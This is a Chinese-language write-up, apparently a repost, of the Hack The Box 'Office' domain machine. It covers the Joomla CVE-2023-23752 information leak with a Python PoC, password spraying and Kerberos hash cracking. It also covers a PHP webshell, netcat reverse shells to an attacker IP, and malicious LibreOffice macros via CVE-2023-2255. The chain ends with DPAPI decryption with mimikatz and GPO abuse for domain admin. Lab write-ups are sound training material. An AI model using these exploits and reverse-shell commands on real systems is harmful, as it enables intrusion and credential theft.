HTB Office实战式打靶过程

admin 2024年11月26日21:02:14评论16 views字数 9327阅读31分5秒阅读模式

这是今年2月份的一台域渗透OSCP Like的靶机,难度是困难,这篇文章将记录我这次实战式打靶的过程,我感觉它的总体难度可能已经到达前几年Htb中的疯狂难度的机器,这也是我第一次尝试发布文章,如果你是第一次打这台靶机,我建议你先去盲打一遍,再来看这篇文章。

HTB Office实战式打靶过程

信息收集

扫描主机端口
sudo nmap --min-rate 10000 -p- 10.10.11.3|grep open |awk -F/ '{print $1}'|paste -sd ','

HTB Office实战式打靶过程

发现53,88,389,636端口,基本可以确认为域环境。

扫描端口详细信息
sudo nmap -sC -sT -sV -O -p53,80,88,139,389,443,445,464,593,636,3268,3269,5985,9389  10.10.11.3

HTB Office实战式打靶过程

HTB Office实战式打靶过程
HTB Office实战式打靶过程

从扫描信息来看主机域名有两个dc.office.htboffice.htb,我将这两个域名写入/etc/hosts文件当中:

sudo bash -c "echo '10.10.11.3 dc.office.htb office.htb' >> /etc/hosts"

HTB Office实战式打靶过程

查看445端口

通过smbclient查看是否能匿名访问smb服务:

smbclient  -L  //10.10.11.3/

HTB Office实战式打靶过程

拒绝匿名访问,只能将目光投向到80端口了。

查看80端口

HTB Office实战式打靶过程

这是一个关于钢铁侠的网站,我首先查看了一下网站是否有敏感信息泄露,首先我查看了一下robot.txt文件,里面罗列一堆目录:

HTB Office实战式打靶过程

里面有几个我比较感兴趣目录,administratorapi,这几个目录看起来像是一个cms,我将使用whatweb验证一下:

HTB Office实战式打靶过程

果然和我猜想的一样,我使用Google搜索一下这个cms是否存在漏洞可以利用:

HTB Office实战式打靶过程

在Hacktricks中找到了有关joomla!的信息,包括版本的探测和存在的利用漏洞,首先我进行版本探测,访问http://10.10.11.3/administrator/manifests/files/joomla.xml探测版本:

HTB Office实战式打靶过程

CVE-2023-23752

查看到版本是4.27,这个版本在前面Hacktricks提到的未经身份验证的敏感信息泄露影响范围内,这篇文章也详细介绍了这个漏洞,接下来我将复现这个漏洞:

curl -v http://10.10.11.3/api/index.php/v1/config/application?public=true

HTB Office实战式打靶过程

HTB Office实战式打靶过程

一些数据库配置信息以json格式响应给我了。

再测试一下另一个api:

curl -v http://10.10.11.3/api/index.php/v1/users?public=true

HTB Office实战式打靶过程

同样有效,针对这个漏洞我用python写了一个简单的poc,主要是拿来练手的,让这台靶机有一鱼多吃的效果:

import requests
import json
import argparse
from colorama import Fore,Style,init

init(autoreset=True)


def fetch_users(base_url):
users_api=f"{base_url}/api/index.php/v1/users?public=true"
response=requests.get(users_api)
return response.json()

def parse_users(base_url):
data=fetch_users(base_url)['data']
users=[]
for user in data:
if user['type']=='users':
user_data=user['attributes']
users.append({'id':user_data['id'],'name':user_data['name'],
'username':user_data['username'],'email':user_data['email']
,'groups':user_data['group_names']})
return users

def display_users(base_url):
users=parse_users(base_url)
print(Fore.RED +Style.BRIGHT+"User_info")
for user in users:
print(f"id:{user['id']}n"
f"name:{user['name']}n"
f"username:{user['username']}n"
f"email:{user['email']}n"
f"groups:{user['groups']}")

def fetch_config(base_url):
config_api=f"{base_url}/api/index.php/v1/config/application?public=true"
response=requests.get(config_api)
return response.json()

def parse_config(base_url):
data=fetch_config(base_url)['data']
configs={}
for entry in data:
if entry['type']=="application":
key=list(entry['attributes'].keys())[0]
configs[key]=entry['attributes'][key]
return configs
def display_config(base_url):
config=parse_config(base_url)
print(Fore.RED + Style.BRIGHT + "db_info")
print(f"dbtype: {config['dbtype']}")
print(f"host: {config['host']}")
print(f"user: {Fore.YELLOW + Style.BRIGHT + config['user']}")
print(f"password: {Fore.YELLOW + Style.BRIGHT + config['password']}")
print(f"db_name: {config['db']}")


def main():
parser=argparse.ArgumentParser(description="Joomla!<4.28,CVE-2023-23752nusage:python3 CVE-2023-23752.py -url <base_url>")
parser.add_argument('-url',help="base_url")
args=parser.parse_args()
display_users(args.url)
print()
display_config(args.url)


if __name__=="__main__":
main()

HTB Office实战式打靶过程

现在我拿到了数据库凭证root:H0lOgrams4reTakIng0Ver754!和网站的用户名Administrator,我将使用这个密码和用户名尝试登录网站:

HTB Office实战式打靶过程

很遗憾不行。

横向移动到Smb

尝试登录管理员界面无果后,我只能将目光放回到445端口,尝试进行密码喷洒,首先我需要进行枚举域环境中的用户,我将使用kerbrute进行枚举:

枚举域用户
./kerbrute_linux_386 userenum -d office.htb --dc office.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 50

HTB Office实战式打靶过程

密码喷洒

我将用户名放在一个文件内,然后使用crackmapexec进行密码喷洒:

HTB Office实战式打靶过程

crackmapexec smb  10.10.11.3 -u users -p 'H0lOgrams4reTakIng0Ver754!'

HTB Office实战式打靶过程

发现用户dwolfe的密码和数据库密码一样。

探测smb共享文件的内容

我将使用这个凭据查看共享的内容:

crackmapexec smb  10.10.11.3 -u dwolfe -p 'H0lOgrams4reTakIng0Ver754!' --shares

HTB Office实战式打靶过程

这里有四个文件夹当前用户可读,但我只关心SOC Analysis这个文件夹,因为它不是常规的smb共享文件夹,我将访问这个文件夹的内容:

smbclient    //10.10.11.3/"SOC Analysis" -U dwolfe --password 'H0lOgrams4reTakIng0Ver754!'

HTB Office实战式打靶过程

只有一个pcap文件,那么方向很明确了,我将下载该文件然后使用wireshark进行流量分析。

Wireshark流量分析

因为在域环境当中,我所以我想查看一下是否有ldap验证或者kerberos验证的数据包:

HTB Office实战式打靶过程

HTB Office实战式打靶过程

发现kerberos认证的请求包,是kerberos认证的流量包,在第二个包中发现加密的方式和数据:

HTB Office实战式打靶过程

kerberos预认证的hash格式为:
$krb5pa$<etype>$<username>$<domain>$<cipher>,所以hash值为:$krb5pa$18$tstark$office.htb$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
当然我们也可以使用工具来帮我们提取hash,我将使用NetworkMiner这个工具进行提取hash:

HTB Office实战式打靶过程

发现报错了,大意是免费版的工具不支持pcapNg文件的解析,需要用到专业版,但是专业版需要收费,我就想能不能将这个文件进行转换到pcap文件,经过Google一顿搜索,在网上找到了这个issue:

tshark -F pcap -r Latest-System-Dump-8fbc124d.pcap -w System_Dump.pcap

HTB Office实战式打靶过程

有警告但是成功转换了,使用工具打开转换后的文件:

HTB Office实战式打靶过程

看到解析成功了。

破解tstark的hash

获得kerberos的hash之后我将保存在hash文件中,使用hashcat进行破解,

hashcat  hash /usr/share/wordlists/rockyou.txt

HTB Office实战式打靶过程

十几秒就完成了,我将进行smb连接的测试:

crackmapexec smb  10.10.11.3 -u tstark -p 'playboy69'

HTB Office实战式打靶过程

凭据有效!接着测试winrm:

crackmapexec smb  10.10.11.3 -u tstark -p 'playboy69'

HTB Office实战式打靶过程

失败了,看起来个用户并不是远程管理组的成员。

横向回Web服务

我们无法通过winrm拿到机器的立足点,smb服务也已经利用过了,只能将目光移回到web服务上面,看一下是否能找到有价值的地方,通过凭证Administrator:playboy69尝试登录管理员界面,管理员这个用户名也是文章前面收集到的信息:

HTB Office实战式打靶过程

HTB Office实战式打靶过程

成功登录进来了。

反弹Shell获得立足点

还是前面那篇Joomla!文章,里面也介绍了当攻击者获得管理员凭证的时候,可以通过修改网页中的php文件,写入一句话进行RCE,我将在Kali中搭建web服务,并将nc64.exe上传到目标机器上面:

sudo python -m http.server 80

HTB Office实战式打靶过程

HTB Office实战式打靶过程

找到修改php文件的地方,我们将修改index.php写入一句话:

<?php system($_GET['cmd']);?>

!

HTB Office实战式打靶过程

修改后保存,访问我们修改后的url进行RCE:

HTB Office实战式打靶过程

上传nc64.exe:

curl http://10.10.16.27/nc64.exe -o c:programdatanc64.exe

HTB Office实战式打靶过程

HTB Office实战式打靶过程

上传成功,使用nc监听443端口:

HTB Office实战式打靶过程

执行反弹shell命令:

c:programdatanc64.exe -e cmd 10.10.16.27 443

HTB Office实战式打靶过程

HTB Office实战式打靶过程

成功获得立足点,查看当前用户:

HTB Office实战式打靶过程

获得立点后我查看了htdocs目录下的文件发现了一个internal目录,里面好像是另一个web站点:

HTB Office实战式打靶过程

横向移动到tstark

首先我查看一下tstark的用户信息:

HTB Office实战式打靶过程

tstark属于域用户组和注册表编辑组,因为不是远程管理组的成员所以用RunasCs.exe重定向输入输出到一个shell中:

wget 10.10.16.27/RunasCs.exe -outfile  RunasCs.exe
./RunasCs.exe tstark playboy69 cmd.exe -r 10.10.16.27:4444

HTB Office实战式打靶过程

在Kali监听4444端口:

HTB Office实战式打靶过程

HTB Office实战式打靶过程

获得User_flag

HTB Office实战式打靶过程

不容易啊!

横向移动到ppotts用户

枚举用户信息

在Users目录中可以看到还有另外两个用户,查看了一下用户的信息,发现HHogan是组策略对象管理组的成员,接下来应该是往这两个用户横向移动了:

HTB Office实战式打靶过程
HTB Office实战式打靶过程

枚举本地监听端口

我使用命令枚举机器监听的端口,发现一个8083端口在机器监听:

netstat -an

HTB Office实战式打靶过程

发现机器装有低版本的Libreoffice

Program Files目录下机器安装有低版本的Libreoffice:

HTB Office实战式打靶过程

转发8083端口

我谷歌了一下Libreoffice存在的漏洞,大多数都是基于office文档注入恶意的宏从而实现代码执行的利用,但是我没有看到有能上传这种office文档的地方,但是我还记得前面收集到的信息机器上有另一个web服务,并且8083端口在本地进行监听,那么合理推测这个8083端口应该是另一个web服务,因8083端口只在本地监听,所以我将上传chisel.exe到机器上进行端口转发。

在Kali搭建chisel服务:

chisel server   -p  6666  --reverse

在机器上将本地的8083重定向到Kali的8083端口:

HTB Office实战式打靶过程
HTB Office实战式打靶过程

chisel日志中成功回显连接成功,使用nmap验证一下我们之前的猜想:

sudo nmap -sC -sT -sV  -p8083  127.0.0.1

HTB Office实战式打靶过程

探测网站

果然是web服务!接下来就是探测这个网站的是否存在可以利用的地方了:

HTB Office实战式打靶过程

发现这个网站有一个叫resume.php的页面,这是一个招聘网站,这和之前目录下php文件对上了,我试着上传文件,但是提示失败,网站只接受doc、docx、odt格式的office文档:

HTB Office实战式打靶过程
HTB Office实战式打靶过程

查找可利用漏洞

我尝试在谷歌搜寻可以利用的漏洞的过程中发现两种途径可以进行利用,一个是CVE-2023-2255,另一个是通过修改Macro security level注册表的值,同时配合上传带有恶意的宏的office文档触发执行系统命令:

HTB Office实战式打靶过程

CVE-2023-2255

LibreOffice 支持“浮动框架”,类似于 html IFrame。这些框架在主文档内的浮动框架中显示其链接文档。

在受影响的 LibreOffice 版本中,这些浮动框架会获取并显示其链接文档,而不会提示加载主机文档。这与其他链接文档内容(例如 OLE 对象、Writer 链接部分或 Calc WEBSERVICE 公式)的行为不一致,这些内容警告用户存在链接文档并提示是否允许更新。

在版本 >= 7.4.7(和 >= 7.5.3)中,现有的“更新链接”管理器已扩展为额外控制 IFrame 内容的更新,因此此类 IFrame 不会自动刷新其内容,除非用户通过提示同意。

机器中的版本在漏洞影响范围内,这里有一个可以生成恶意odt文件的Poc,我将使用这个Poc生成恶意的odt文件:

python3 CVE-2023-2255.py --cmd 'cmd /c c:programdatanc64.exe -e powershell 10.10.16.27 4446' --output 'exploit.odt'

HTB Office实战式打靶过程

上传文件,成功拿到立足点:

HTB Office实战式打靶过程

途径二

这种方式下我将手动生成带有恶意宏的odt文档,并修改注册表的值,打开Libreoffice新建文档,并在tools菜单栏中选择新建Macros,写入执行的命令,创建打开文档的时执行这个恶意宏的时间,然后上传文档:

HTB Office实战式打靶过程

HTB Office实战式打靶过程

Sub Main
shell("cmd /c c:programdatanc64.exe -e cmd 10.10.16.27 4446")
End Sub

HTB Office实战式打靶过程

选择tools->customize选项卡设置打开文档事件:

HTB Office实战式打靶过程

HTB Office实战式打靶过程

我将文件保存为shell.odt,接下来需要修改注册表的值,我在网上找到了关于Libreoffice宏的安全等级注册表路径和值对应的安全等级:

HTB Office实战式打靶过程

我需要重新使用RunasCs.exe工具返回一个tsark的shell进行注册表的操作:

HTB Office实战式打靶过程

使用命令查看注册表的值:

reg query "HKLMSoftwarePoliciesLibreOfficeorg.openoffice.Office.CommonSecurityScriptingMacroSecurityLevel"

HTB Office实战式打靶过程

可以看到宏的安全等级的值为3,我们要将其修改为0,首先需要查看当前用户是否有修改这个注册表的ACL:

$acl = Get-Acl -Path "HKLM:SoftwarePoliciesLibreOfficeorg.openoffice.Office.CommonSecurityScriptingMacroSecurityLevel"
$acl.Access

HTB Office实战式打靶过程

很好查看到Registry Editors组有完全控制的权限,tstark刚好在这个组,接下来就是修改这个注册表的值了:

Set-itemProperty -PATH "HKLM:SoftwarePoliciesLibreOfficeorg.openoffice.Office.CommonSecurityScriptingMacroSecurityLevel" -Name Value -Value 0

HTB Office实战式打靶过程

可以看到修改成功了。

上传文档并且监听4446端口:

HTB Office实战式打靶过程

十几秒后就有响应了

HTB Office实战式打靶过程

横向移动到HHogan用户

Winpeas枚举

在ppotts用户的家目录下一顿查找都没有找到太多有价值的地方,我上传winpeas.exe进行自动枚举了:

HTB Office实战式打靶过程

Winpeas枚举出来用户有使用DPAPI加密的凭据文件,也列出了加密的masterkey:

HTB Office实战式打靶过程

我们可以在Hacktricks中查找到有关DPAPI的介绍,简单的来说:

数据保护 API (DPAPI)提供了一种数据对称加密方法,主要用于 Windows 操作系统中的非对称私钥的对称加密。这种加密利用用户或系统秘密来显着贡献熵。

DPAPI解密获得HHogan凭据

master key可以通过下列命令进行查找:

Get-ChildItem -Force  C:UsersppottsAppDataRoamingMicrosoftProtect

HTB Office实战式打靶过程

而凭据文件可以通过下列的命令进行查找:

Get-Childitem -Force C:UsersppottsAppDataRoamingMicrosoftCredentials

HTB Office实战式打靶过程

这些都是隐藏文件需要加-Force参数。

当时打的时候就有一个难题就是我不知道ppotts用户的密码,masterkey需要用到用户密码去解密,卡了好久才知道利用的MS-BKRP这个协议,这个协议说的是用户可以通过rpc利用域环境中的备份密钥对masterkey进行解密,这个密钥是不会改变的,我会上传Mimikatz.exe使用/rpc选项进行利用:

.mimikatz.exe "dpapi::masterkey /in:C:usersppottsappdataroamingmicrosoftprotectS-1-5-21-1199398058-4196589450-691661856-1107191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" exit

HTB Office实战式打靶过程

获得masterkey值:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
前面两个文件都没有有价值的信息,在尝试第三个的时候,发现了HHogan的凭证:

.mimikatz.exe "dpapi::cred /in:C:UsersPPottsAppDataRoamingMicrosoftCredentials84F1CAEEBF466550F4967858F9353FB4 /masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166" exit

HTB Office实战式打靶过程

HHogan:H4ppyFtW183#

HHogan是远程管理组的成员,我将使用evil-winrm登录:

HTB Office实战式打靶过程

evil-winrm -i 10.10.11.3 -u HHogan -p 'H4ppyFtW183#'

HTB Office实战式打靶过程

获得管理员权限

Bloodhound

使用Bloodhound-python寻找利用路径:

bloodhound-python -d office.htb -c all -u HHogan -p 'H4ppyFtW183#' -ns 10.10.11.3 --zip 

HTB Office实战式打靶过程

开启neo4j数据库和bloodhound进行分析:

HTB Office实战式打靶过程

上传刚刚使用bloodhound获得的文件,hhogan用户可以对一些组策略对象具有Genric write的权限,其中DEFAULT DOMAIN CONTROLLERS POLICY这组策略对象连接到域控了:

组策略对象(GPO)是各种组策略的集合,当组策略对象连接到某个域,那么这个域就会遵循这个组策略对象中的所有组策略条目。

HTB Office实战式打靶过程
HTB Office实战式打靶过程

那么接下来的思路就简单了我可以向组策略对象中添加一条新的组策略,列如:将当前用户添加到本地管理员组,这个操作我将使SharpGPOAbuse.exe来完成,我将上传SharpGPOAbuse.exe到靶机中,然后执行如下命令:

./SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "DEFAULT DOMAIN CONTROLLERS POLICY"

HTB Office实战式打靶过程

添加后,使用下面命令更新组策略对象:

gpupdate /force

现在我们已经是本地管理员组的成员了,我们需要退出这个会话重新使用evil-winrm登录:

HTB Office实战式打靶过程
HTB Office实战式打靶过程

这台靶机前前后后我花了将近一周的时间才拿到管理员权限,因为对我来说真的很难,如果你对域渗透的知识不熟练,那么这台靶机你一定可以学到很多东西。

HTB Office实战式打靶过程

看雪ID:压强带师

https://bbs.kanxue.com/user-home-1014616.htm

*本文为看雪论坛优秀文章,由 压强带师 原创,转载请注明来自看雪社区

原文始发于微信公众号(看雪学苑):HTB Office实战式打靶过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月26日21:02:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB Office实战式打靶过程https://cn-sec.com/archives/3441253.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息